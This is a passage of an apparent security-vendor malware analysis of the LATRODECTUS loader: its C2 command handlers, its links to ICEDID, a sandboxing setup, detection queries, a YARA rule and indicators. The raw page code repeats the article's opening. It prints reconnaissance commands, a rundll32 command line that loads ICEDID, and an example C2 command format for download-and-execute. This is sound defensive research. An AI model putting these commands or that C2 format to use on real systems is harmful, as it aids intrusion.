Timeout |\n| 20 | Resets request counter |\n\n#### Desktop listing - command ID (2)\n\nThis command handler will retrieve a list of the contents of the user’s desktop, which the developer refers to as ```desklinks```. This data will be encrypted and appended to the outbound beacon request. This is used for enumerating and validating victim environments quickly.\n\n![Desktop listing (Handler #2)](/assets/images/spring-cleaning-with-latrodectus/image16.png)\n\n\n**Example request**:\n\n```\ncounter=0\u0026type=1\u0026guid=249507485CA29F24F77B0F43D7BA\u0026os=6\u0026arch=1\u0026username=user\u0026group=510584660\u0026ver=1.1\u0026up=4\u0026direction=aytobusesre.com\u0026desklinks=[\"OneDrive.lnk\",\"OneNote.lnk\",\"PowerPoint.lnk\",\"Notepad++.lnk\",\"Excel.lnk\",\"Google Chrome.lnk\",\"Snipping Tool.lnk\",\"Notepad.lnk\",\"Paint.lnk\"]\n```\n\n#### Process ancestry - command ID (3)\n\nThis event handler is referenced as **proclist** by the developer where it collects the entire running process ancestry from the infected machine via the **CreateToolhelp32Snapshot** API. \n\n![Retrieve process ancestry (Handler #3)](/assets/images/spring-cleaning-with-latrodectus/image25.png)\n\n\nLike security researchers, malware authors are interested in process parent/child relationships for decision-making. The authors of LATRODECTUS even collect information about process grandchildren, likely to validate different compromised environments.\n\n![Example of process ancestry collected by LATRODECTUS](/assets/images/spring-cleaning-with-latrodectus/image17.png)\n\n\n#### Collect system information - command ID (4)\n\nThis command handler creates a new thread that runs the following system discovery/enumeration commands, each of which is a potential detection opportunity:\n\n``` bash\nC:\\Windows\\System32\\cmd.exe /c ipconfig /all\nC:\\Windows\\System32\\cmd.exe /c systeminfo\nC:\\Windows\\System32\\cmd.exe /c nltest /domain_trusts\nC:\\Windows\\System32\\cmd.exe /c nltest /domain_trusts /all_trusts\nC:\\Windows\\System32\\cmd.exe /c net view /all /domain\nC:\\Windows\\System32\\cmd.exe /c net view /all\nC:\\Windows\\System32\\cmd.exe /c net group \"Domain Admins\" /domain\nC:\\Windows\\System32\\wbem\\wmic.exe /Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get * /Format:List\nC:\\Windows\\System32\\cmd.exe /c net config workstation\nC:\\Windows\\System32\\cmd.exe /c wmic.exe /node:localhost /namespace:\\\\root\\SecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed\nC:\\Windows\\System32\\cmd.exe /c whoami /groups\n```\n\nEach output is placed into URI with corresponding collected data:\n\n```\n\u0026ipconfig=\n\u0026systeminfo=\n\u0026domain_trusts=\n\u0026domain_trusts_all=\n\u0026net_view_all_domain=\n\u0026net_view_all=\n\u0026net_group=\n\u0026wmic=\n\u0026net_config_ws=\n\u0026net_wmic_av=\n\u0026whoami_group=\n```\n\n#### Download and execute PE - command ID (12)\n\nThis handler downloads a PE file from the C2 server then writes the content to disk with a randomly generated file name, then executes the file.\n\n![Download and Run PE function (Handler #4)](/assets/images/spring-cleaning-with-latrodectus/image19.png)\n\n\nBelow is an example in our environment using this handler:\n\n![Process tree of download and run PE function](/assets/images/spring-cleaning-with-latrodectus/image34.png)\n\n\n#### Download and execute DLL - command ID (13)\n\nThis command handler downloads a DLL from C2 server, writes it to disk with a randomly generated file name, and executes the DLL using rundll32.exe.\n\n![Download and run DLL function (Handler #13)](/assets/images/spring-cleaning-with-latrodectus/image10.png)\n\n\n#### Download and execute shellcode - command (14)\n\nThis command handler downloads shellcode from the C2 server via ```InternetReadFile```, allocates and copies the shellcode into memory then directly calls it with a new thread pointing at the shellcode.\n\n![Shellcode execution (Handler #14)](/assets/images/spring-cleaning-with-latrodectus/image24.png)\n\n\n#### Update / restart - command ID (15)\n\nThis handler appears to perform a binary update to the malware where it’s downloaded, the existing thread/mutex is notified, and then released. The file is subsequently deleted and a new binary is downloaded/executed before terminating the existing process.\n\n![Update handler (Handler #15)](/assets/images/spring-cleaning-with-latrodectus/image33.png)\n\n\n#### Terminate - command ID (17)\nThis handler will terminate the existing LATRODECTUS process.\n\n![Self-termination (Handler #17)](/assets/images/spring-cleaning-with-latrodectus/image46.png)\n\n\n#### Download and execute hosted ICEID payload - command ID (18)\n\nThis command handler downloads two ICEDID components from a LATRODECTUS server and executes them using a spawned ```rundll32.exe``` process. We haven’t personally observed this being used in-the-wild, however.\n\nThe handler creates a folder containing two files to the ```AppData\\Roaming\\``` directory. These file paths and filenames are seeded by a custom random number generator which we will review in the next section. In our case, this new folder location is: \n\n```\nC:\\Users\\REM\\AppData\\Roaming\\-632116337\n```\n\nIt retrieves a file (```test.dll```) from the C2 server, the standard ICEDID loader, which is written to disk with a randomly -generated file name (```-456638727.dll```).\n\n![LATRODECTUS downloading ICEDID loader](/assets/images/spring-cleaning-with-latrodectus/image9.png)\n\n\nLATRODECTUS will then perform similar steps by generating a random filename for the ICEDID payload (```1431684209.dat```). Before performing the download, it will set-up the arguments to properly load ICEDID. If you have run into ICEDID in the past, this part of the command-line should look familiar: it’s used to call the ICEDID export of the loader, while passing the relative path to the encrypted ICEDID payload file.\n\n```\ninit -zzzz=\"-632116337\\1431684209.dat\"\n```\n\n![LATRODECTUS downloading ICEDID data](/assets/images/spring-cleaning-with-latrodectus/image20.png)\n\n\nLATRODECUS initiates a second download request using a hard-coded URI (```/files/bp.dat```) from the configured C2 server, which is written to a file (```1431684209.dat```). Analyzing the ```bp.dat``` file, researchers identified it as a conventional encrypted ICEDID payload, commonly referenced as ```license.dat```.\n\n![Encrypted ICEDID payload (```bp.dat```)](/assets/images/spring-cleaning-with-latrodectus/image31.png)\n\n\nAfter decrypting the file, malware researchers noted a familiar 129 byte sequence of junk bytes prepended to the file followed by the custom section headers. \n\n![Decrypted ICEDID payload (```bp.dat```)](/assets/images/spring-cleaning-with-latrodectus/image43.png)\n\n\nOur team was able to revisit [prior tooling](https://www.elastic.co/security-labs/unpacking-icedid) and successfully decrypt this file, enabling us to rebuild the PE (ICEDID).\n\n![ICEDID YARA triggering on rebuilt PE from ```bp.dat```](/assets/images/spring-cleaning-with-latrodectus/image28.png)\n\n\nAt this point, the ICEDID loader and encrypted payload have been downloaded to the same folder.\n\n![](/assets/images/spring-cleaning-with-latrodectus/image38.png)\n\nThese files are then executed together using ```rundll32.exe``` via **CreateProcessW** with their respective arguments. Below is the observed command-line:\n\n```\nrundll32.exe C:\\Users\\REM\\AppData\\Roaming\\-632116337\\-456638727.dll,init -zzzz=\"-632116337\\1431684209.dat\"\n```\n\n![```Rundll32.exe``` execution](/assets/images/spring-cleaning-with-latrodectus/image18.png)\n\n\nScanning the ```rundll32.exe``` child process spawned by LATRODECTUS with our ICEDID YARA rule also indicates the presence of the ICEDID. \n\n![YARA memory scan detecting ICEDID](/assets/images/spring-cleaning-with-latrodectus/image41.png)\n\n\n#### Beacon timeout - command ID (19)\n\nLATRODECTUS supports jitter for beaconing to C2. This can make it harder for defenders to detect via network sources due to randomness this introduces to beaconing intervals.\n\n![Adjust timeout feature (Handler #19)](/assets/images/spring-cleaning-with-latrodectus/image45.png)\n\n\nIn order to calculate the timeout, it generates a random number by seeding a combination of the user’s cursor position on the screen multiplied by the system’s uptime (```GetTickCount```). This result is passed as a parameter to **RtlRandomEx**. \n\n![Random number generator using cursor position](/assets/images/spring-cleaning-with-latrodectus/image22.png)\n\n\n#### Reset counter - command ID (20)\n\nThis command handler will reset the request counter that is passed on each communication request. For example, on the third callback it is filled with 3 here. With this function, the developer can reset the count starting from 0.\n\n```\ncounter=3\u0026type=4\u0026guid=638507385\n```\n\n### LATRODECTUS / ICEDID connection\n\nThere definitely is some kind of development connection or working arrangement between ICEDID and LATRODECTUS. Below are some of the similarities observed:\n - Same enumeration commands in the system discovery handler\n - The DLL exports all point to same export function address, this was a common observation with ICEDID payloads\n - C2 data is concatenated together as variables in the C2 traffic requests\n - The ```bp.dat``` file downloaded from handler (#18) is used to execute the ICEDID payload via ```rundll32.exe``` \n - The functions appear to be similarly coded\n\n![COM-based Scheduled Task setup - ICEDID vs LATRODECTUS](/assets/images/spring-cleaning-with-latrodectus/image13.png)\n\n\nResearchers didn’t conclude that there was a clear relationship between the ICEDID and LATRODECTUS families, though they appear at least superficially affiliated. ICEDID possesses more mature capabilities, like those used for data theft or the [BackConnect](https://www.team-cymru.com/post/inside-the-icedid-backconnect-protocol) module, and has been richly documented over a period of several years. One hypothesis being considered is that LATRODECTUS is being actively developed as a replacement for ICEDID, and the handler (#18) was included until malware authors were satisfied with LATRODECTUS’ capabilities.\n\n### Sandboxing LATRODECTUS\n\nTo evaluate LATRODECTUS detections, we set up a Flask server configured with the different handlers to instruct an infected machine to perform various actions in a sandbox environment. This method provides defenders with a great opportunity to assess the effectiveness of their detection and logging tools against every capability. Different payloads like shellcode/binaries can be exchanged as needed.\n\n![Command handlers sandboxed](/assets/images/spring-cleaning-with-latrodectus/image42.png)\n\n\nAs an example, for the download and execution of a DLL (handler #13), we can provide the following request structure (object type, handler, arguments for handler) to the command dispatcher:\n\n```\nCOMMAND|13|http://www.meow123.com/dll, ShowMessage\n```\n\nThe following example depicts the RC4-encrypted string described earlier, which has been base64-encoded.\n\n```\nE3p1L21QSBOqEKjYrBKiLNZJTk7KZn+HWn0p2LQfOLWCz/py4VkkAxSXXdnDd39p2EU=\n```\n\nUsing the following CyberChef recipe, analysts can generate encrypted command requests:\n\n![Example with DLL Execution handler via CyberChef](/assets/images/spring-cleaning-with-latrodectus/image1.png)\n\n\nUsing the actual malware codebase and executing these different handlers using a low-risk framework, defenders can get a glimpse into the events, alerts, and logs recorded by their security instrumentation. \n\n## Detecting LATRODECTUS\n\nThe following Elastic Defend protection features trigger during the LATRODECTUS malware infection process: \n\n![Elastic Defend alerts against LATRODECTUS](/assets/images/spring-cleaning-with-latrodectus/image5.png)\n\n\nBelow are the prebuilt MITRE ATT\u0026CK-aligned rules with descriptions:\n\n| ATT\u0026CK technique | Elastic Rule | Description |\n| ----- | ----- | ----- |\n| [T1059.007 - Javascript](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_oversized_windows_script_execution.toml) [T1027 - Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027/) | [Suspicious Oversized Script Execution](https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/execution_oversized_windows_script_execution.toml) | LATRODECTUS is delivered via oversized Javascript files, on average more than 800KB filled with random text. |\n| [T1047 - Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047/) | [Execution via a Suspicious WMI Client](https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/initial_access_execution_via_a_suspicious_wmi_client.toml) | Javascript dropper invokes WMI to mount a WEBDAV share and invokes msiexec to install a remote msi file. |\n| [T1218.007 - Misexec](https://attack.mitre.org/techniques/T1218/007/) | [Remote File Execution via MSIEXEC](https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/defense_evasion_remote_file_execution_via_msiexec.toml) [Suspicious MsiExec Child Process](https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/defense_evasion_suspicious_msiexec_child_process.toml) | MSI file hosted on remote Webdav and executed in quiet mode. Once executed it drops a DLL and launches rundll32 to load it via the Advanced installer viewer.exe binary. |\n| [T1218.011 - Rundll32](https://attack.mitre.org/techniques/T1218/011/) | [Rundll32 or Regsvr32 Loaded a DLL from Unbacked Memory](https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/defense_evasion_rundll32_or_regsvr32_loaded_a_dll_from_unbacked_memory.toml) | Rundll32 loads the LATRODECTUS DLL from AppData and starts code injection. |\n| [T1055 - Process Injection](https://attack.mitre.org/techniques/T1055/) | [Memory Threat Detection Alert: Shellcode Injection](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html#memory-protection) [VirtualProtect API Call from an Unsigned DLL](https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/defense_evasion_virtualprotect_api_call_from_an_unsigned_dll.toml) [Shellcode Execution from Low Reputation Module](https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/defense_evasion_shellcode_execution_from_low_reputation_module.toml) [Network Module Loaded from Suspicious Unbacked Memory](https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/defense_evasion_network_module_loaded_from_suspicious_unbacked_memory.toml) | Shellcode execution triggers 3 endpoint behavior alerts and a memory threat detection alert. |\n| [T1053.005 - Scheduled Task](https://attack.mitre.org/techniques/T1053/005/) | [Scheduled Task Creation by an Unusual Process](https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/persistence_scheduled_task_creation_by_an_unusual_process.toml) | LATRODECTUS may persist using scheduled tasks (rundll32 will create a scheduled task). |\n| [T1070.004 - File Deletion](https://attack.mitre.org/techniques/T1070/004/) | [Potential Self Deletion of a Running Executable](https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/defense_evasion_potential_self_deletion_of_a_running_executable.toml) | Part of the malware DLL self update command and also when the DLL is not running from AppData, LATRODECTUS will delete itself while running and restart from the new path or running an updated version of itself leveraging [this technique](https://github.com/LloydLabs/delete-self-poc). |\n| [T1059.003 - Windows Command Shell](https://attack.mitre.org/techniques/T1059/003/) | [Command Shell Activity Started via RunDLL32](https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/execution_command_shell_activity_started_via_rundll32.toml) | LATRODECTUS Command ID (4) - Collect system information via a series of cmd.exe execution. |\n\nThe following list of hunts and detection queries can be used to detect LATRODECTUS post-exploitation commands focused on execution:\n\n**Rundll32 Download PE/DLL** (command handlers #12, #13 and #18): \n\n``` sql\nsequence by process.entity_id with maxspan=1s\n[file where event.action == \"creation\" and process.name : \"rundll32.exe\" and \n /* PE file header dropped to the InetCache folder */\nfile.Ext.header_bytes : \"4d5a*\" and file.path : \"?:\\\\Users\\\\*\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\INetCache\\\\IE\\\\*\"]\n[network where process.name : \"rundll32.exe\" and \n event.action : (\"disconnect_received\", \"connection_attempted\") and \n /* network disconnect activity to a public Ip address */\n not cidrmatch(destination.ip, \"10.0.0.0/8\", \"127.0.0.0/8\", \"169.254.0.0/16\", \"172.16.0.0/12\", \"192.0.0.0/24\", \"192.0.0.0/29\", \"192.0.0.8/32\", \"192.0.0.9/32\", \"192.0.0.10/32\", \"192.0.0.170/32\", \"192.0.0.171/32\", \"192.0.2.0/24\", \"192.31.196.0/24\", \"192.52.193.0/24\", \"192.88.99.0/24\", \"224.0.0.0/4\", \"100.64.0.0/10\", \"192.175.48.0/24\",\"198.18.0.0/15\", \"198.51.100.0/24\", \"203.0.113.0/24\", \"240.0.0.0/4\", \"::1\", \"FE80::/10\", \"FF00::/8\", \"192.168.0.0/16\")]\n```\n\n![EQL Query using hunt detecting LATRODECTUS](/assets/images/spring-cleaning-with-latrodectus/image8.png)\n\n\nBelow is an ES|QL hunt to look for long-term and/or high count of network connections by rundll32 to a public IP address (which is uncommon): \n\n``` sql\nfrom logs-endpoint.events.network-*\n| where host.os.family == \"windows\" and event.category == \"network\" and\n network.direction == \"egress\" and process.name == \"rundll32.exe\" and\n/* excluding private IP ranges */\n not CIDR_MATCH(destination.ip, \"10.0.0.0/8\", \"127.0.0.0/8\", \"169.254.0.0/16\", \"172.16.0.0/12\", \"192.0.0.0/24\", \"192.0.0.0/29\", \"192.0.0.8/32\", \"192.0.0.9/32\", \"192.0.0.10/32\", \"192.0.0.170/32\", \"192.0.0.171/32\", \"192.0.2.0/24\", \"192.31.196.0/24\", \"192.52.193.0/24\", \"192.168.0.0/16\", \"192.88.99.0/24\", \"224.0.0.0/4\", \"100.64.0.0/10\", \"192.175.48.0/24\",\"198.18.0.0/15\", \"198.51.100.0/24\", \"203.0.113.0/24\", \"240.0.0.0/4\", \"::1\",\"FE80::/10\", \"FF00::/8\")\n| keep source.bytes, destination.address, process.name, process.entity_id, process.pid, @timestamp, host.name\n/* calc total duration and the number of connections per hour */\n| stats count_connections = count(*), start_time = min(@timestamp), end_time = max(@timestamp) by process.entity_id, process.pid, destination.address, process.name, host.name\n| eval duration = TO_DOUBLE(end_time)-TO_DOUBLE(start_time), duration_hours=TO_INT(duration/3600000), number_of_con_per_hour = (count_connections / duration_hours)\n| keep host.name, destination.address, process.name, process.pid, duration, duration_hours, number_of_con_per_hour, count_connections\n| where count_connections \u003e= 100\n```\n\n![ES|QL Query using hunt detecting LATRODECTUS](/assets/images/spring-cleaning-with-latrodectus/image3.png)\n\n\nBelow is a screenshot of Elastic Defend triggering on the LATRODECTUS [memory signature](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Latrodectus.yar): \n\n![Memory signatures against LATRODECTUS via Elastic Defend](/assets/images/spring-cleaning-with-latrodectus/image23.png)\n\n\n### YARA\n\nElastic Security has created YARA rules to identify [LATRODECTUS](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Latrodectus.yar):\n\n```\nrule Windows_Trojan_LATRODECTUS_841ff697 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2024-03-13\"\n last_modified = \"2024-04-05\"\n license = \"Elastic License v2\"\n os = \"Windows\"\n arch = \"x86\"\n threat_name = \"Windows.Trojan.LATRODECTUS\"\n reference_sample = \"aee22a35cbdac3f16c3ed742c0b1bfe9739a13469cf43b36fb2c63565111028c\"\n\n\n strings:\n $Str1 = { 48 83 EC 38 C6 44 24 20 73 C6 44 24 21 63 C6 44 24 22 75 C6 44 24 23 62 C6 44 24 24 }\n $crc32_loadlibrary = { 48 89 44 24 40 EB 02 EB 90 48 8B 4C 24 20 E8 ?? ?? FF FF 48 8B 44 24 40 48 81 C4 E8 02 00 00 C3 }\n $delete_self = { 44 24 68 BA 03 00 00 00 48 8B 4C 24 48 FF 15 ED D1 00 00 85 C0 75 14 48 8B 4C 24 50 E8 ?? ?? 00 00 B8 FF FF FF FF E9 A6 00 }\n $Str4 = { 89 44 24 44 EB 1F C7 44 24 20 00 00 00 00 45 33 C9 45 33 C0 33 D2 48 8B 4C 24 48 FF 15 7E BB 00 00 89 44 24 44 83 7C 24 44 00 75 02 EB 11 48 8B 44 24 48 EB 0C 33 C0 85 C0 0F 85 10 FE FF FF 33 }\n $handler_check = { 83 BC 24 D8 01 00 00 12 74 36 83 BC 24 D8 01 00 00 0E 74 2C 83 BC 24 D8 01 00 00 0C 74 22 83 BC 24 D8 01 00 00 0D 74 18 83 BC 24 D8 01 00 00 0F 74 0E 83 BC 24 D8 01 00 00 04 0F 85 44 02 00 00 }\n $hwid_calc = { 48 89 4C 24 08 48 8B 44 24 08 69 00 0D 66 19 00 48 8B 4C 24 08 89 01 48 8B 44 24 08 8B 00 C3 }\n $string_decrypt = { 89 44 24 ?? 48 8B 44 24 ?? 0F B7 40 ?? 8B 4C 24 ?? 33 C8 8B C1 66 89 44 24 ?? 48 8B 44 24 ?? 48 83 C0 ?? 48 89 44 24 ?? 33 C0 66 89 44 24 ?? EB ?? }\n $campaign_fnv = { 48 03 C8 48 8B C1 48 39 44 24 08 73 1E 48 8B 44 24 08 0F BE 00 8B 0C 24 33 C8 8B C1 89 04 24 69 04 24 93 01 00 01 89 04 24 EB BE }\n condition:\n 2 of them\n}\n```\n\n## Observations\n\nThe following observables were discussed in this research.\n\n| Observable | Type | Name | Reference |\n| --- | --- | --- | --- |\n| aee22a35cbdac3f16c3ed742c0b1bfe9739a13469cf43b36fb2c63565111028c | SHA-256 | TRUFOS.DLL | LATRODECTUS |\n| aytobusesre.com | domain | | LATRODECTUS C2 |\n| scifimond.com | domain | | LATRODECTUS C2 |\n| gyxplonto.com | domain | | ICEDID C2 |\n| neaachar.com | domain | | ICEDID C2 |\n\n## References\nThe following were referenced throughout the above research:\n\n - [https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39](https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39)\n - [https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice](https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice)\n\n## Tooling\n[String decryption and IDA commenting tool](https://github.com/elastic/labs-releases/blob/main/tools/latrodectus/latro_str_decrypt.py)\n","code":"var Component=(()=\u003e{var h=Object.create;var a=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,u=Object.prototype.hasOwnProperty;var f=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),w=(i,e)=\u003e{for(var t in e)a(i,t,{get:e[t],enumerable:!0})},d=(i,e,t,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of p(e))!u.call(i,r)\u0026\u0026r!==t\u0026\u0026a(i,r,{get:()=\u003ee[r],enumerable:!(s=m(e,r))||s.enumerable});return i};var b=(i,e,t)=\u003e(t=i!=null?h(g(i)):{},d(e||!i||!i.__esModule?a(t,\"default\",{value:i,enumerable:!0}):t,i)),y=i=\u003ed(a({},\"__esModule\",{value:!0}),i);var l=f((_,o)=\u003e{o.exports=_jsx_runtime});var v={};w(v,{default:()=\u003eT,frontmatter:()=\u003eD});var n=b(l()),D={title:\"Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID\",slug:\"spring-cleaning-with-latrodectus\",date:\"2024-05-16\",subtitle:\"The LATRODECTUS loader evolves to deliver ICEDID and other malware\",description:\"Elastic Security Labs has observed an uptick in a recent emerging loader known as LATRODECTUS. This lightweight loader packs a big punch with ties to ICEDID and may turn into a possible replacement to fill the gap in the loader market.\",author:[{slug:\"daniel-stepanic\"},{slug:\"samir-bousseaden\"}],image:\"Security Labs Images 16.jpg\",category:[{slug:\"malware-analysis\"}],tags:[\"icedid\",\"latrodectus\",\"loader\"]};function c(i){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",h3:\"h3\",ul:\"ul\",li:\"li\",img:\"img\",pre:\"pre\",code:\"code\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\",strong:\"strong\",h4:\"h4\"},i.components);return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(e.h2,{id:\"latrodectus-at-a-glance\",children:\"LATRODECTUS at a glance\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"First \",(0,n.jsx)(e.a,{href:\"https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39\",rel:\"nofollow\",children:\"discovered\"}),\" by Walmart researchers in October of 2023, \",(0,n.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_111\",rel:\"nofollow\",children:\"LATRODECTUS\"}),\" is a malware loader gaining popularity among cybercriminals. While this is considered a new family, there is a strong link between LATRODECTUS and \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary\",rel:\"nofollow\",children:\"ICEDID\"}),\" due to behavioral and developmental similarities, including a command handler that downloads and executes encrypted payloads like ICEDID. Proofpoint and Team Cymru built upon this connection to discover a \",(0,n.jsx)(e.a,{href:\"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice\",rel:\"nofollow\",children:\"strong link\"}),\" between the network infrastructure used by both the operators of ICEDID and LATRODECTUS.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"LATRODECTUS offers a comprehensive range of standard capabilities that threat actors can utilize to deploy further payloads, conducting various activities after initial compromise. The code base isn\\u2019t obfuscated and contains only 11 command handlers focused on enumeration and execution. This type of loader represents a recent wave observed by our team such as \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/pikabot-i-choose-you\",rel:\"nofollow\",children:\"PIKABOT\"}),\", where the code is more lightweight and direct with a limited number of handlers.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"This article will focus on LATRODECTUS itself, analyzing its most significant features and sharing resources for addressing this financially impactful threat.\"}),`\n`,(0,n.jsx)(e.h3,{id:\"key-takeaways\",children:\"Key takeaways\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"Initially discovered by Walmart researchers last year, LATRODECTUS continues to gain adoption among recent financially-motivated campaigns\"}),`\n`,(0,n.jsx)(e.li,{children:\"LATRODECTUS, a possible replacement for ICEDID shares similarity to ICEDID including a command handler to execute ICEDID payloads\"}),`\n`,(0,n.jsx)(e.li,{children:\"We observed new event handlers (process discovery, desktop file listing) since its inception and integration of a self-delete technique to delete running files\"}),`\n`,(0,n.jsx)(e.li,{children:\"Elastic Security provides a high degree of capability through memory signatures, behavioral rules, and hunting opportunities to respond to threats like LATRODECTUS\"}),`\n`]}),`\n`,(0,n.jsx)(e.h3,{id:\"latrodectus-campaign-overview\",children:\"LATRODECTUS campaign overview\"}),`\n`,(0,n.jsx)(e.p,{children:\"Beginning early March of 2024, Elastic Security Labs observed an increase in email campaigns delivering LATRODECTUS. These campaigns typically involve a recognizable infection chain involving oversized JavaScript files that utilize WMI\\u2019s ability to invoke msiexec.exe and install a remotely-hosted MSI file, remotely hosted on a WEBDAV share.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image44.png\",alt:\"\",width:\"1107\",height:\"556\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"With major changes in the loader space during the past year, such as the \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/qbot-malware-analysis\",rel:\"nofollow\",children:\"QBOT\"}),\" takedown and \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/unpacking-icedid\",rel:\"nofollow\",children:\"ICEDID\"}),\" dropping off, we are seeing new loaders such as \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/pikabot-i-choose-you\",rel:\"nofollow\",children:\"PIKABOT\"}),\" and \",(0,n.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_111\",rel:\"nofollow\",children:\"LATRODECTUS\"}),\" have emerged as possible replacements.\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"latrodectus-analysis\",children:\"LATRODECTUS analysis\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Our LATRODECTUS \",(0,n.jsx)(e.a,{href:\"https://www.virustotal.com/gui/file/aee22a35cbdac3f16c3ed742c0b1bfe9739a13469cf43b36fb2c63565111028c/details\",rel:\"nofollow\",children:\"sample\"}),\" comes initially packed with file information \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1036/\",rel:\"nofollow\",children:\"masquerading\"}),\" as a component to Bitdefender\\u2019s kernel-mode driver (TRUFOS.SYS), shown in the following image.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image47.png\",alt:\"File version information of packed LATRODECTUS sample\",width:\"543\",height:\"203\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"In order to move forward with malware analysis, the sample must be unpacked manually or via an automatic unpacking service such as \",(0,n.jsx)(e.a,{href:\"http://Unpac.Me\",rel:\"nofollow\",children:\"UnpacMe\"}),\".\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image26.png\",alt:\"UnpacMe summary\",width:\"1320\",height:\"711\"})}),`\n`,(0,n.jsx)(e.p,{children:\"LATRODECTUS is a DLL with 4 different exports, and each export is assigned the same export address.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/spring-cleaning-with-latrodectus/image21.png\",alt:\"Exports for LATRODECTUS\",width:\"774\",height:\"188\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"string-obfuscation\",children:\"String obfuscation\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"All of the strings within LATRODECTUS are protected using a straightforward algorithm on the encrypted bytes and applying a transformation by performing arithmetic and bitwise operations. The initial \",(0,n.jsx)(e.a,{href:\"https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39\",rel:\"nofollow\",children:\"report\"}),\" published in 2023 detailed a PRNG algorithm that was not observed in our sample, suggesting continuous development of this loader. Below is the algorithm implemented in Python using our \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/nightMARE\",rel:\"nofollow\",children:\"nightMARE framework\"}),\":\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-python\",children:`def decrypt_string(encrypted_bytes: bytes) -\u003e bytes:\n x = cast.u32(encrypted_bytes[:4])\n y = cast.u16(encrypted_bytes[4:6])\n byte_size = cast.u16(cast.p32(x ^ y)[:2])\n decoded_bytes = bytearray(byte_size)\n\n for i, b in enumerate(encrypted_bytes[6 : 6 + byte_size]):\n decoded_bytes[i] = ((x + i + 1) ^ b) % 256\n\n return bytes(decoded_bytes)\n`})}),`\n`,(0,n.jsx)(e.h3,{id:\"runtime-api\",children:\"Runtime API\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"LATRODECTUS obfuscates the majority of its imports until runtime. At the start of the program, it queries the PEB in combination with using a CRC32 checksum to resolve \",(0,n.jsx)(e.code,{children:\"kernel32.dll\"}),\" and \",(0,n.jsx)(e.code,{children:\"ntdll.dll\"}),\" modules and their functions. In order to resolve additional libraries such as \",(0,n.jsx)(e.code,{children:\"user32.dll\"}),\" or 